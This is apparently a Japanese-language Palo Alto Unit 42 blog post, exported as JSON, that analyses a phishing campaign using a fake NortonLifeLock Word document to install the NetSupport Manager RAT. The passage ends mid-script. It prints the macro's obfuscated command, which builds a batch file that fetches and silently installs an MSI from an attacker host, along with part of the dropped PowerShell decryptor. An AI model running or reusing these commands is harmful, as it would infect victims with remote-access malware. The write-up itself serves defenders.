{"id":105045,"date":"2020-02-27T18:50:47","date_gmt":"2020-02-28T02:50:47","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=105045"},"modified":"2020-02-27T18:50:47","modified_gmt":"2020-02-28T02:50:47","slug":"cortex-xdr-detects-netsupport-manager-rat-campaign","status":"publish","type":"post","link":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/cortex-xdr-detects-netsupport-manager-rat-campaign\/","title":{"rendered":"Cortex XDR&#x2122;\u304cNetSupport Manager RAT\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u65b0\u305f\u306a\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u691c\u51fa"},"content":{"rendered":"<h2><a id=\"post-105045-executive-summary\" style=\"font-size: 16px;\"><\/a>\u6982\u8981<\/h2>\n<p>2020\u5e741\u6708\u3001Unit 42\u306f\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305fNortonLifelock\u6587\u66f8\u3092\u88c5\u3046\u60aa\u610f\u306e\u3042\u308bMicrosoft Word\u6587\u66f8\u3092\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u6587\u66f8\u306f\u5546\u7528\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u30c4\u30fc\u30eb\uff08RAT\uff09<a href=\"https:\/\/www.netsupportmanager.com\/index.asp\">NetSupport Manager<\/a>\u3092\u914d\u4fe1\u3059\u308b\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u4f7f\u308f\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u79c1\u305f\u3061\u306f\u3001\u67b6\u7a7a\u306eNortonLifelock\u6587\u66f8\u3092\u4f7f\u7528\u3057\u3066\u30e6\u30fc\u30b6\u30fc\u306b\u30de\u30af\u30ed\u306e\u6709\u52b9\u5316\u3092\u3046\u306a\u304c\u3059\u3053\u306e\u7279\u7570\u306a\u653b\u6483\u306b\u8208\u5473\u3092\u5f15\u304b\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>\u901a\u5e38\u3060\u3068\u3053\u306eRAT\u306f\u3001\u7ba1\u7406\u8005\u306b\u3088\u308b\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u3078\u306e\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u3068\u3044\u3046\u6b63\u5f53\u306a\u76ee\u7684\u306b\u5229\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u305f\u3060\u3057\u3053\u306e\u30b1\u30fc\u30b9\u3067\u306f\u3001\u60aa\u610f\u306e\u3042\u308b\u30aa\u30da\u30ec\u30fc\u30bf\u304cRAT\u3092\u88ab\u5bb3\u8005\u306e\u30b7\u30b9\u30c6\u30e0\u306b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3066\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3092\u53ef\u80fd\u306b\u3059\u308b\u305f\u3081\u306b\u5229\u7528\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u307e\u305f\u3001\u9045\u304f\u3068\u3082<a href=\"https:\/\/www.fireeye.com\/blog\/threat-research\/2018\/04\/fake-software-update-abuses-netsupport-remote-access-tool.html\">2018\u5e74<\/a>\u306b\u306f\u3001\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3092\u610f\u56f3\u3057\u3066NetSupport Manager RAT\u304c\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u8a50\u6b3a\u306b\u5229\u7528\u3055\u308c\u3066\u3044\u308b\u69d8\u5b50\u304c\u89b3\u5bdf\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u4eca\u56de\u306e\u30ec\u30d3\u30e5\u30fc\u306e\u304d\u3063\u304b\u3051\u3068\u306a\u3063\u305f\u306e\u306f\u3001Cortex XDR&#x2122;\u30a8\u30f3\u30b8\u30f3\u306b\u3088\u308b\u691c\u51fa\u3067\u3057\u305f\u3002\u79c1\u305f\u3061\u306f\u3001Microsoft Office Outlook\u304c\u3042\u308bMicrosoft Word\u6587\u66f8\u3092\u958b\u3044\u305f\u3053\u3068\u3092\u767a\u7aef\u306b\u3053\u306e\u56e0\u679c\u9023\u9396(causality chain\u3002\u4e00\u9023\u306e\u30a4\u30d9\u30f3\u30c8\u306e\u6d41\u308c)\u304c\u59cb\u307e\u3063\u305f\u3053\u3068\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u307b\u304b\u3001\u5b9f\u969b\u306e\u30e1\u30fc\u30eb\u3053\u305d\u6b8b\u3063\u3066\u3044\u306a\u304b\u3063\u305f\u3082\u306e\u306e\u3001\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u3088\u308a\u5927\u898f\u6a21\u306a\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u4e00\u90e8\u3067\u3042\u3063\u305f\u3053\u3068\u3092\u7d50\u8ad6\u4ed8\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3057\u305f\u3002<\/p>\n<p>\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3067\u306f\u3001\u52d5\u7684\u89e3\u6790\u30fb\u9759\u7684\u89e3\u6790\u306e\u4e21\u65b9\u306b\u5bfe\u3059\u308b\u56de\u907f\u6280\u8853\u3068\u3001PowerShell PowerSploit\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u5229\u7528\u3057\u3066\u3001\u5f53\u8a72\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u305f\u3081\u306e\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u307e\u305f\u79c1\u305f\u3061\u306f\u8ffd\u52a0\u3067\u884c\u3063\u305f\u5206\u6790\u304b\u3089\u540c\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u95a2\u9023\u3059\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c2019\u5e7411\u6708\u3054\u308d\u306b\u307e\u3067\u9061\u308c\u308b\u3053\u3068\u3092\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u672c\u7a3f\u3067\u306f\u3001Cortex XDR\u306e\u632f\u308b\u821e\u3044\u691c\u51fa\u6a5f\u80fd\u3092\u4f7f\u3063\u3066\u89b3\u6e2c\u3057\u305f\u3053\u308c\u3089\u7279\u7570\u306a\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u3064\u3044\u3066\u8aac\u660e\u3057\u3066\u3044\u304d\u305f\u3044\u3068\u601d\u3044\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-105045-delivery\"><\/a>\u914d\u4fe1<\/h3>\n<p>2020\u5e741\u6708\u521d\u65ec\u3001Cortex XDR&#x2122;\u30a8\u30f3\u30b8\u30f3\u306f\u3001\u96e3\u8aad\u5316\u3055\u308c\u305f\u30d0\u30c3\u30c1\u30d5\u30a1\u30a4\u30eb\u3092\u5b9f\u884c\u3059\u308b\u7591\u308f\u3057\u3044\u30d7\u30ed\u30bb\u30b9winword.exe\u3092\u691c\u51fa\u3057\u307e\u3057\u305f\u3002\u6b21\u306e\u56f31\u3067\u3001Microsoft Word\u30d7\u30ed\u30bb\u30b9\u306e\u958b\u59cb\u304b\u3089.bat\u30d5\u30a1\u30a4\u30eb\u306e\u4f5c\u6210\u30fb\u5b9f\u884c\u3078\u3068\u7d9a\u304f\u8907\u6570\u306e\u691c\u51fa\u30dd\u30a4\u30f3\u30c8\u3092\u78ba\u8a8d\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u56f32\u304b\u3089\u306f\u3001\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3\u30d3\u30e5\u30fc\u306e\u30ed\u30fc\u30eb\u30a2\u30c3\u30d7(\u307e\u3068\u3081)\u3092\u898b\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u304c\u3001\u3053\u3053\u3067\u306f\u3001\u65e2\u77e5\u306e\u60aa\u610f\u306e\u3042\u308bIoC\u3001\u30d7\u30ed\u30bb\u30b9\u5b9f\u884c\u3068\u3044\u3046\u632f\u308b\u821e\u3044\u3001\u63a5\u7d9a\u8a66\u884c\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u5bfe\u3057\u3066\u30a2\u30e9\u30fc\u30c8\u3092\u8868\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u56f33\u306f\u3001\u3053\u308c\u3089\u306e\u632f\u308b\u821e\u3044\u306b\u3088\u308bIoc\u3067\u691c\u51fa\u3057\u305f\u521d\u671f\u306e\u30a2\u30e9\u30fc\u30c8\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><em><span style=\"font-size: 10pt;\"><img width=\"878\" height=\"470\"  class=\"wp-image-105048 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-307.png\" \/><\/span><\/em><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u56f31 Cortex XDR\u3067\u56e0\u679c\u9023\u9396(\u4e00\u9023\u306e\u30a4\u30d9\u30f3\u30c8\u767a\u751f\u306e\u56e0\u679c\u95a2\u4fc2\u3092\u793a\u3057\u305f\u3082\u306e)\u3092\u8868\u793a\u3002\u307e\u305aMS Word \u304c\u8d77\u52d5\u3057\u3066\u30de\u30af\u30ed\u304c\u5b9f\u884c\u3055\u308c\u3001\u305d\u306e\u5f8c\u30d0\u30c3\u30c1\u30d5\u30a1\u30a4\u30eb alpaca.bat \u304c\u751f\u6210\u3055\u308c\u3001msiexec \u304c\u5b9f\u884c\u3055\u308c\u3066 MSI \u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3044\u308b<\/span><\/em><\/p>\n<p><em><span style=\"font-size: 10pt;\"><img width=\"1181\" height=\"293\"  class=\"wp-image-105050 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-308.png\" \/><\/span><\/em><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u56f32 Cortex XDR&#x2122;\u306b\u3088\u308b\u56e0\u679c\u9023\u9396\u306e\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3\u3002\u65e2\u77e5\u306e\u60aa\u610f\u306e\u3042\u308bIoC(\u8d64\u3044\u4e38)\u3001\u30d7\u30ed\u30bb\u30b9\u5b9f\u884c(\u9ec4\u8272\u3044\u4e38)\u3001\u5916\u90e8\u3078\u306e\u63a5\u7d9a(Outgoing Connections\u306e\u9752\u3044\u70b9) \u3092\u307e\u3068\u3081\u3066\u78ba\u8a8d\u3067\u304d\u308b<\/span><\/em><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\"><img width=\"868\" height=\"214\"  class=\"wp-image-105052 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-309.png\" \/><\/span><\/em><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u56f33 Cortex XDR&#x2122;\u306b\u3088\u308bBIOC(\u632f\u308b\u821e\u3044\u306b\u57fa\u3065\u304fIoC)\u304c\u691c\u51fa\u3057\u305f\u5185\u5bb9<\/span><\/em><\/p>\n<p>\u4e0b\u306e\u56f34\u306f\u653b\u6483\u306b\u5229\u7528\u3055\u308c\u305f\u60aa\u610f\u306e\u3042\u308b\u6587\u66f8\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3067\u3059\u3002\u3053\u306e\u30b1\u30fc\u30b9\u3067\u306f\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f NortonLifelock\u6587\u66f8\u3092\u507d\u88c5\u3057\u3001\u30de\u30af\u30ed\u3092\u6709\u52b9\u5316\u3055\u305b\u308b\u305f\u3081\u306b\u30e6\u30fc\u30b6\u30fc\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3055\u305b\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u4eca\u56de\u306e\u5206\u6790\u306b\u4f7f\u7528\u3057\u305f\u6587\u66f8\u30b5\u30f3\u30d7\u30eb\u306eSHA256\u5024\u306f\u6b21\u306e\u901a\u308a\u3067\u3059: E9440A5D2DFE2453AE5B69A9C096F8D4CF9E059D469C5DE67380D76E02DD6975<\/p>\n<p><em><span style=\"font-size: 10pt;\"><img width=\"2029\" height=\"1619\"  class=\"wp-image-105054 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-310.png\" \/><\/span><\/em><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u56f34 NortonLifeLock\u3092\u507d\u88c5\u3057\u305f\u914d\u4fe1\u6587\u66f8<\/span><\/em><\/p>\n<p>\u30e6\u30fc\u30b6\u30fc\u306e\u76ee\u304b\u3089\u306f\u3001\u5f53\u8a72\u306e\u6587\u66f8\u306b\u306f\u500b\u4eba\u60c5\u5831\u304c\u542b\u307e\u308c\u3066\u3044\u3066\u3001\u305d\u306e\u8868\u793a\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u5fc5\u8981\u3067\u3042\u308b\u304b\u306e\u3088\u3046\u306b\u898b\u3048\u307e\u3059\u3002\u6587\u66f8\u304c\u958b\u304b\u308c\u3001\u30e6\u30fc\u30b6\u30fc\u304c[\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u6709\u52b9\u306b\u3059\u308b]\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u3001\u30de\u30af\u30ed\u304c\u5b9f\u884c\u3055\u308c\u3001\u30e6\u30fc\u30b6\u30fc\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u30c0\u30a4\u30a2\u30ed\u30b0\u30dc\u30c3\u30af\u30b9\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002<\/p>\n<p><em><span style=\"font-size: 10pt;\"><img width=\"509\" height=\"199\"  class=\"wp-image-105056 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-311.png\" \/><\/span><\/em><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u56f35 \u30e6\u30fc\u30b6\u30fc\u306b\u8868\u793a\u3055\u308c\u308b\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u30c0\u30a4\u30a2\u30ed\u30b0\u30dc\u30c3\u30af\u30b9<\/span><\/em><\/p>\n<p>\u79c1\u305f\u3061\u306f\u3053\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u30e1\u30fc\u30eb\u5185\u3067\u63d0\u4f9b\u3055\u308c\u3066\u3044\u305f\u3067\u3042\u308d\u3046\u3068\u63a8\u6e2c\u3057\u3066\u3044\u307e\u3059\u3002\u3068\u3044\u3046\u306e\u3082\u3001\u6b21\u306e\u30de\u30af\u30ed\u30b3\u30fc\u30c9\u304c\u793a\u3059\u3088\u3046\u306b\u3001\u3053\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306b\u306f\u300cc\u300d\u307e\u305f\u306f\u300cC\u300d\u306e\u6587\u5b57\u3057\u304b\u53d7\u3051\u4ed8\u3051\u306a\u3044\u304b\u3089\u3067\u3059\u3002\u306a\u304a\u3001\u3053\u306e\u30de\u30af\u30ed\u30b3\u30fc\u30c9\u306eSHA256\u30cf\u30c3\u30b7\u30e5\u5024\u306f\u6b21\u306e\u901a\u308a\u3067\u3059: 68ca2458e0db9739258ce9e22aadd2423002b2cc779033d78d6abec1db534ac2<\/p>\n<p><img width=\"1055\" height=\"608\"  class=\"wp-image-105058 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/unnamed-file.png\" alt=\"\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8 \u304c\u542b\u307e\u308c\u3066\u3044\u308b\u753b\u50cf \u81ea\u52d5\u7684\u306b\u751f\u6210\u3055\u308c\u305f\u8aac\u660e\" \/><\/p>\n<p>\u30e6\u30fc\u30b6\u30fc\u304c\u8aa4\u3063\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3059\u308b\u3068\u8aa4\u3063\u305f\u30ad\u30fc\u304c\u5165\u529b\u3055\u308c\u305f\u3053\u3068\u3092\u793a\u3059\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u8868\u793a\u3055\u308c\u3001\u305d\u306e\u5f8c\u300c\u51e6\u7406\u5b8c\u4e86\u300d\u3092\u793a\u3059\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002\u6b63\u3057\u3044\u30ad\u30fc\u304c\u5165\u529b\u3055\u308c\u308b\u307e\u3067\u306f\u3001\u60aa\u610f\u306e\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u767a\u751f\u3057\u306a\u3044\u70b9\u306b\u3082\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u3055\u3066\u3001\u6b63\u3057\u3044\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u53d7\u3051\u53d6\u308b\u3068\u3001\u30de\u30af\u30ed\u306f\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u7d99\u7d9a\u3057\u3001\u6b21\u306e\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u3092\u7d44\u307f\u7acb\u3066\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true \">cmD \/c EChO|SE^t \/p=\" M^siexe\"&gt;%temp%\\alpaca.bat&amp;EcHo|s^et \r\n\/p=\"c \" &gt;&gt;%temp%\\alpaca.bat&amp;EcHo|s^et \/p=\"^\/i\" \r\n&gt;&gt;%temp%\\alpaca.bat&amp;EcHo|s^et \/p=\" \r\nhttp^:^\/^\/^quickwaysignstx[.]com\/view.php \r\n\"&gt;&gt;%temp%\\alpaca.bat&amp;EcHo|s^et \/p=\" ^\/q \r\n&amp;exit\"&gt;&gt;%temp%\\alpaca.bat&amp;%temp%\\alpaca.bat&amp;avvfge 2<\/pre>\n<p>\u3053\u306e\u30de\u30af\u30ed\u306f\u3001Visual Basic for Applications\uff08VBA\uff09\u30d5\u30a9\u30fc\u30e0\u4e0a\u306e\u30e9\u30d9\u30eb\u3092\u8907\u6570\u4f7f\u3063\u3066\u3001\u3059\u3079\u3066\u306e\u6587\u5b57\u5217\u3092\u96e3\u8aad\u5316\u3057\u3066\u3044\u307e\u3059\u3002\u96e3\u8aad\u5316\u3055\u308c\u305f\u6587\u5b57\u5217\u306b\u306f2\u3064\u306e\u6587\u5b57\u304c\u542b\u307e\u308c\u3066\u3044\u3066\u3001\u3053\u308c\u3089\u306e\u6587\u5b57\u540c\u58eb\u3092\u6700\u5f8c\u306b\u30ea\u30f3\u30af\u3055\u305b\u308b\u3053\u3068\u3067\u3001\u88ab\u5bb3\u7aef\u672b\u306bRAT\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u5b9f\u884c\u3059\u308b\u305f\u3081\u306e\u6700\u7d42\u30b3\u30de\u30f3\u30c9\u3092\u4f5c\u6210\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u4f5c\u6210\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u306f\u3001VBA\u30b7\u30a7\u30eb\u95a2\u6570\u7d4c\u7531\u3067\u5b9f\u884c\u3055\u308c\u3001\u4ee5\u4e0b\u3092\u884c\u3044\u307e\u3059\u3002<\/p>\n<ol>\n<li>\/c \u30d1\u30e9\u30e1\u30fc\u30bf\u3064\u304d\u3067cmd.exe\u3092\u8d77\u52d5\u3057\u3001\u4f5c\u6210\u3057\u305f\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u3092\u5b9f\u884c\u3057\u3066\u7d42\u4e86\u3059\u308b<\/li>\n<li><em>alpaca.bat<\/em>\u3068\u3044\u3046\u540d\u524d\u306e\u30d0\u30c3\u30c1\u30d5\u30a1\u30a4\u30eb\u3092\u88ab\u5bb3\u7aef\u672b\u306e%temp%\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u4f5c\u6210\u3059\u308b<\/li>\n<li>\u4f5c\u6210\u3057\u305f\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3059\u308b<\/li>\n<\/ol>\n<p>\u3053\u306e\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u306fmsiexec\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u3053\u306emsiexec\u306fWindows Installer\u30b5\u30fc\u30d3\u30b9\u306e\u4e00\u90e8\u3068\u3057\u3066\u542b\u307e\u308c\u308b\u3082\u306e\u3067\u3001quickwaysignstx[.]com\/view.php \u3068\u3044\u3046\u30c9\u30e1\u30a4\u30f3\u304b\u3089\u88ab\u5bb3\u7aef\u672b\u306bMicrosoft Intermediate Language\uff08MSIL\uff09\u30d0\u30a4\u30ca\u30ea\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u3053\u306eURL\u306b\u30d6\u30e9\u30a6\u30b6\u3067\u30b5\u30a4\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3068web\u30da\u30fc\u30b8\u6a19\u6e96\u306e\u753b\u50cf\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u3053\u3068\u304b\u3089\u3001view.php\u3092\u30b5\u30fc\u30d3\u30b9\u3057\u3066\u3044\u308b\u30b5\u30fc\u30d0\u30fc\u306f\u3001User-Agent\u6587\u5b57\u5217\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3092\u884c\u3063\u3066\u3044\u308b\u3088\u3046\u306b\u898b\u3048\u307e\u3059\u3002\u306a\u304a\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u306f\u3001\u304a\u305d\u3089\u304f\u306f\u653b\u6483\u8005\u306b\u4fb5\u5bb3\u3055\u308c\u305f\u6b63\u898f\u306e\u30c9\u30e1\u30a4\u30f3\u3068\u601d\u308f\u308c\u307e\u3059\u306e\u3067\u3001\u3053\u306e\u70b9\u306b\u306f\u6ce8\u610f\u304c\u5fc5\u8981\u3067\u3059\u3002<\/p>\n<p><em><span style=\"font-size: 10pt;\"><img width=\"2402\" height=\"1167\"  class=\"wp-image-105060 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-312.png\" \/><\/span><\/em><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u56f36 quickwaysignstx[.]com\u306eview.php\u3078\u306eHTTP GET\u30ea\u30af\u30a8\u30b9\u30c8<\/span><\/em><\/p>\n<p>\u30ea\u30af\u30a8\u30b9\u30c8\u5185\u306eUser-Agent\u6587\u5b57\u5217\u304cWindows\u30a4\u30f3\u30b9\u30c8\u30fc\u30e9\u306a\u3089MSI\u30d5\u30a1\u30a4\u30eb\u304c\u8fd4\u3055\u308c\u307e\u3059\u3002\u3053\u306eUser-Agent\u6587\u5b57\u5217\u306fmsiexec\u30b3\u30de\u30f3\u30c9\u306e\u4e00\u90e8\u306b\u542b\u307e\u308c\u3066\u3044\u308b\u306e\u3067\u3001\u3053\u306e\u3053\u3068\u304b\u3089\u3082\u300cmsiexec\u304c\u4f7f\u7528\u3055\u308c\u305f\u5834\u5408\u306b\u306e\u307f\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u308b\u300d\u3068\u3044\u3046\u63a8\u6e2c\u304c\u3055\u3089\u306b\u88cf\u4ed8\u3051\u3089\u308c\u307e\u3059\u3002MSI\u30da\u30a4\u30ed\u30fc\u30c9\uff08SHA256: 41D27D53C5D41003BC9913476A3AFD3961B561B120EE8BFDE327A5F0D22A040A\uff09\u306f\u3001www.exemsi[.]com\u306b\u300cMPZMZQYVXO\u30d1\u30c3\u30c1\u30d0\u30fc\u30b8\u30e7\u30f35.1\u300d\u3068\u3044\u3046\u540d\u524d\u3067\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u672a\u767b\u9332\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u3063\u3066\u30d3\u30eb\u30c9\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u95a2\u9023\u3059\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u5206\u6790\u3057\u3066\u3044\u305f\u304a\u308a\u3001\u4ed6\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u793a\u3059\u6587\u5b57\u5217\u3082\u8907\u6570\u898b\u3064\u304b\u3063\u3066\u3044\u307e\u3059\u306e\u3067\u3001\u3053\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u6587\u5b57\u5217\u306f\u30e9\u30f3\u30c0\u30e0\u3067\u3042\u308b\u3088\u3046\u3067\u3059\u3002\u3053\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u6587\u5b57\u5217\u306fMSI\u306e\u5b9f\u884c\u6642\u306b\u8868\u793a\u3055\u308c\u307e\u3059\u3002\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u304c\u3059\u3080\u3068\u3001MSI\u3092\/q\u30d1\u30e9\u30e1\u30fc\u30bf\u3064\u304d\u3067\u5b9f\u884c\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306fWindows\u30c0\u30a4\u30a2\u30ed\u30b0\u304c\u898b\u3048\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002\u540c\u69d8\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306f<a href=\"https:\/\/www.zscaler.com\/blogs\/research\/netsupport-rat-installed-fake-update-notices\">2019\u5e7411\u6708<\/a>\u306b\u3082\u5831\u544a\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>MSI\u306f\u88ab\u5bb3\u7aef\u672b\u306e%temp%\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u3001REgistryMPZMZQYVXO.ps1\u3068\u3044\u3046\u540d\u524d\u306ePowerSell\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">function HYTNKJSDEH([String] $YTVRJKIEIR, [String] $BORBFDSYOP)\r\n{\r\n$DHPFYCOKLM = \u201c&lt;<strong>base64 encoded + encrypted payload<\/strong>&gt;\u201d;\r\n$encoding = New-Object System.Text.ASCIIEncoding;\r\n$KULVWNXDPId = $encoding.GetBytes(\"DJZGVUGVHDMNIGZD\");\r\n$derivedPass = New-Object \r\nSystem.Security.Cryptography.PasswordDeriveBytes($YTVRJKIEIR, \r\n$encoding.GetBytes($BORBFDSYOP), \"SHA1\", 2);\r\n[Byte[]] $ESFLDIMUEO = $derivedPass.GetBytes(16);\r\n$LCZJFEXHXR = New-Object \r\nSystem.Security.Cryptography.TripleDESCryptoServiceProvider;\r\n\r\n$LCZJFEXHXR.Mode = \r\n[System.Security.Cryptography.CipherMode]::CBC;\r\n$JOVGMJCIKY = $LCZJFEXHXR.CreateDecryptor($ESFLDIMUEO, $KULVWNXDPId);\r\n$LBUWDFHHMZ = New-Object System.IO.MemoryStream($DHPFYCOKLMa, \r\n$True);\r\n$ZSKXKODPKK = New-Object \r\nSystem.Security.Cryptography.CryptoStream($LBUWDFHHMZ, \r\n$JOVGMJCIKY, \r\n[System.Security.Cryptography.CryptoStreamMode]::Read);\r\n$STDVLFIUQN = $ZSKXKODPKK.Read($JHTZWEZBUW, 0, \r\n$JHTZWEZBUW.Length);\r\n$LBUWDFHHMZ.Close();\r\n$ZSKXKODPKK.Close();\r\n$LCZJFEXHXR.Clear();\r\nif (($JHTZWEZBUW.Length -gt 3) -and ($JHTZWEZBUW[0] -eq 0xEF) \r\n-and ($JHTZWEZBUW[1] -eq 0xBB) -and ($JHTZWEZBUW[2] -eq 0xBF)) { \r\n$h = $JHTZWEZBUW[3..($JHTZWEZBUW.Length-1)]; }\r\nreturn $encoding.GetString($JHTZWEZBUW).TrimEnd([Char] 0);\r\n}\r\n $TYCNJNUWWG = HYTNKJSDEH \"ew9p5rzlmvcf32b6i0oun8q47tag1xhs\" 